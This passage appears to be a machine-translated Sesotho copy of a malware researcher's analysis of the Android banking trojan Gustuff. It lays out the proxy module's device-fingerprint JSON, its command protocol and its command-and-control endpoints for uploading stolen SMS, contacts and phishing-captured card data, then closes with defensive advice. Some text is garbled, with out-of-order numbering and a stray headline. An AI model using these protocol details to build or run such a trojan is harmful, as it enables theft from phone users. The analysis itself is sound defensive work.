Seva::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

moo proxy_cnc, command_port le proxy_port - li-parameter tse fumanoeng ho tsoa ho tlhophiso ea seva ea Proxy.

Sehlopha sa ho sebetsa sa taelo se bitsoa CommandConnection. Hang ka mor'a ho qala, etsa liketso tse latelang:

4. E hokela ho ProxyConfigClass.host: ProxyConfigClass.commandPort mme e romella lintlha mabapi le sesebelisoa se tšoaelitsoeng moo ka sebopeho sa JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Moo:

  • id - identifier, e leka ho fumana boleng ka sebaka sa "id" ho tsoa faeleng ea Shared Preference e bitsoang "x". Haeba boleng bona bo sa fumanehe, bo hlahisa e ncha. Kahoo, mojule oa Proxy o na le sekhetho sa sona, se hlahisoang ka mokhoa o ts'oanang le ID ea Bot.
  • imei - IMEI ea sesebelisoa. Haeba phoso e etsahetse nakong ea ho fumana boleng, molaetsa oa mongolo oa phoso o tla ngoloa sebakeng sa tšimo ena.
  • imsi - International Mobile Subscriber Identity ea sesebelisoa. Haeba phoso e etsahetse nakong ea ho fumana boleng, molaetsa oa mongolo oa phoso o tla ngoloa sebakeng sa tšimo ena.
  • mohlala - Lebitso le bonahalang la mosebelisi oa ho qetela bakeng sa sehlahisoa sa ho qetela.
  • moetsi - Moetsi oa sehlahisoa/hardware (Build.MANUFACTURER).
  • androidVersion - khoele ka sebopeho sa "<%release_version%> (<%os_version%),<%sdk_version%>"
  • naha - sebaka sa hajoale sa sesebelisoa.
  • partnerId ke khoele e se nang letho.
  • packageName – lebitso la sephutheloana.
  • networkType — mofuta oa khokahano ea hajoale ea marang-rang (mohlala: "WIFI", "MOBILE"). Haeba ho na le phoso, e khutlisa lefeela.
  • hasGsmSupport – nnete – haeba fono e tshehetsa GSM, ho seng jwalo ke leshano.
  • simReady – boemo ba SIM card.
  • simCountry - khoutu ea naha ea ISO (e thehiloeng ho mofani oa karete ea SIM).
  • networkOperator — lebitso la opareitara. Haeba phoso e etsahetse nakong ea ho fumana boleng, molaetsa oa mongolo oa phoso o tla ngoloa sebakeng sa tšimo ena.
  • simOperator — Lebitso la Mofani oa Tšebeletso (SPN). Haeba phoso e etsahetse nakong ea ho fumana boleng, molaetsa oa mongolo oa phoso o tla ngoloa sebakeng sa tšimo ena.
  • mofuta - sebaka sena se bolokiloe sehlopheng sa config; bakeng sa liphetolelo tse lekiloeng tsa bot e ne e lekana le "1.6".

5. E fetohela mokhoeng oa ho emela litaelo ho tsoa ho seva. Litaelo tse tsoang ho seva li tla ka sebopeho:

  • 0 fokotsa - taelo
  • 1 offset – sessionId
  • 2 offset - bolelele
  • 4 offset - data

Ha taelo e fihla, kopo e ngolla:
mainLog("Header {sessionId<%id%>], mofuta[<%command%>], bolelele[<%length%>] }")

Litaelo tse latelang tse tsoang ho seva lia khoneha:

lebitso taelo Lintlha Tlhaloso
khokahanoId 0 ID ea khokahano Theha khokahano e ncha
SLEEP 3 Time Emisa mojule wa Proxy
PING_PONG 4 - Romella molaetsa oa PONG

Molaetsa oa PONG o na le li-byte tse 4 mme o shebahala tjena: 0x04000000.

Ha taelo ea khokahanoId e amoheloa (ho theha khokahano e ncha) CommandConnection e etsa mohlala oa sehlopha ProxyConnection.

  • Lihlopha tse peli li nka karolo ho proxy: ProxyConnection и QETA. Ha o theha sehlopha ProxyConnection ho hokela atereseng ProxyConfigClass.host: ProxyConfigClass.proxyPort le ho fetisa ntho ea JSON:

 {
    "id":<%connectionId%>
}

Ha e arabela, seva se romela molaetsa oa SOCKS5 o nang le aterese ea seva e hōle eo ho eona ho lokelang ho thehoa khokahanyo. Ho sebelisana le seva sena ho etsahala ka sehlopha QETA. Setupo sa khokahano se ka emeloa ka mokhoa o latelang:

Kamoo Android Trojan Gustuff e qhekellang tranelate (fiat le crypto) ho tsoa liak'haonteng tsa hau

Litšebelisano tsa marang-rang

Ho thibela tlhahlobo ea sephethephethe ka li-sniffers tsa marang-rang, tšebelisano pakeng tsa seva sa CnC le kopo e ka sireletsoa ho sebelisa protocol ea SSL. Lintlha tsohle tse fetisoang ho tloha le ho ea ho seva li hlahisoa ka sebopeho sa JSON. Sesebelisoa se etsa likopo tse latelang nakong ea ts'ebetso:

  • http://<%CnC%>/api/v1/set_state.php - sephetho sa ho phethahatsa taelo.
  • http://<%CnC%>/api/v1/get.php - ho amohela taelo.
  • http://<%CnC%>/api/v1/load_sms.php - ho khoasolla melaetsa ea SMS ho sesebelisoa se nang le tšoaetso.
  • http://<%CnC%>/api/v1/load_ab.php - ho kenya lenane la mabitso ho tsoa sesebelisoa se nang le tšoaetso.
  • http://<%CnC%>/api/v1/aevents.php - kopo e etsoa ha ho ntlafatsoa liparamente tse fumanehang faeleng ea khetho.
  • http://<%CnC%>/api/v1/set_card.php - ho kenya data e fumanoeng ka fensetere ea phishing e iketsang eka ke 'Maraka oa Google Play.
  • http://<%CnC%>/api/v1/logs.php - ho kenya data ea log.
  • http://<%CnC%>/api/v1/records.php - ho kenya data e fumanoeng ka phishing windows.
  • http://<%CnC%>/api/v1/set_error.php – tsebiso ya phoso e etsahetseng.

likhothaletso

E le ho sireletsa bareki ba bona kotsing ea Trojans ea mobile, lik'hamphani li tlameha ho sebelisa litharollo tse felletseng tse ba lumellang ho beha leihlo le ho thibela ts'ebetso e mpe ntle le ho kenya software e eketsehileng lisebelisoa tsa basebelisi.

Ho etsa sena, mekhoa ea ho saena ea ho bona Trojans ea mehala e hloka ho matlafatsoa ka mahlale a ho sekaseka boitšoaro ba moreki le ts'ebeliso ka boeona. Tšireletso e boetse e lokela ho kenyelletsa ts'ebetso ea boitsebiso ba lisebelisoa ho sebelisa theknoloji ea menoana ea digital, e tla etsa hore ho khonehe ho utloisisa ha akhaonto e sebelisoa ho tloha mochine o sa tloaelehang 'me e se e oetse matsohong a molotsana.

Ntlha ea bohlokoa haholo ke ho fumaneha ha tlhahlobo ea li-cross-channel, e lumellang lik'hamphani ho laola likotsi tse hlahang eseng feela Inthaneteng, empa hape le mocha oa selefouno, mohlala, likopong tsa banka ea selefouno, bakeng sa litšebelisano le lichelete tsa crypto le tse ling leha e le life moo. litšebetso li ka etsoa.

Melao ea polokeho bakeng sa basebelisi:

  • se ke oa kenya lits'ebetso tsa sesebelisoa sa mohala se nang le Android OS ho tsoa mehloling efe kapa efe ntle le Google Play, ela hloko ka ho khetheha litokelo tse kopiloeng ke kopo;
  • kenya kamehla lisebelisoa tsa Android OS;
  • ela hloko likeketso tsa lifaele tse jarollotsoeng;
  • u se ke ua etela mehloli e belaetsang;
  • Se ke oa tobetsa likhokahano tse amoheloang melaetsa ea SMS.

Linaleli Semyon Rogacheva, setsebi se senyenyane sa lipatlisiso tsa malware ho Sehlopha sa IB Computer Forensics Laboratory.

Source: www.habr.com

Eketsa ka tlhaloso